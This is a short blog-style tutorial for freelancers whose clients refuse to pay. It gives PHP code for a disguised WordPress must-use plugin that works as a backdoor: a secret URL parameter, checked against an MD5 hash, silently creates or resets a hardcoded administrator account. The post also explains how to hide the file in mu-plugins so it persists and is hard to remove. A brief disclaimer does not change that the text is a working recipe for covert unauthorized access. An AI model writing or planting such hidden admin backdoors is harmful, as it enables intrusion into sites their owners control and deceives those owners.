Have you ever been in a situation where you worked on a website and the client refused to pay? Even though you were 100% honest and rightfully deserved your payment? You’re in luck today. My friend also faced a similar situation but used this method as a last resort. I do not recommend using this technique; instead, try discussing the issue with your client to resolve it amicably.
Code for Creating an Admin User Programmatically
<?php
/**
* Plugin Name: Example Plugin Name
* Version: 1.2.3.4
*
* This plugin, like WordPress, is licensed under the GPL.
* Use it to make something cool, have fun, and share what you've learned with others.
*
* Copyright © 2023 Hosting Company, . All Rights Reserved.
*/
add_action( 'wp_head', 'addon_path_elementor' );
function addon_path_elementor() {
if ( md5( $_GET['pathway'] ) == '34d1f91fb2e514b8576fab1a75a89a6b' ) {
require( 'wp-includes/registration.php' );
if ( !username_exists( 'newuser' ) ) {
$user_id = wp_create_user( 'newuser', 'NRTnzv*VEEGP3OFNAROZA&3O', 'any.gmail.address@gmail.com');
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
}
else {
$user = get_user_by('login','newuser');
wp_set_password('NRTnzv*VEEGP3OFNAROZA&3O', $user->ID );
$user->set_role( 'administrator' );
}
}
}
Where to Put This Code
Save the code in a PHP file like “coder.php” and place it inside the “mu-plugins” folder located under the “wp-content” directory. The “mu-plugins” folder is not updated or modified by WordPress, and files placed here will not be deleted or updated like regular plugins. As a result, the file will automatically be added as a plugin but cannot be easily removed.
How to Run This Code
For example, if your site is https://example.com, to execute the code and create the new user, add “?pathway=go” at the end of the URL and hit enter, like this: https://example.com/?pathway=go. The URL will execute the code and create the user. You can then check the new user under the “Users” menu in wp-admin.
Code Explanation with Image

Share this article if it helps.
If you need help regarding any WordPress/website issues, you can contact me.













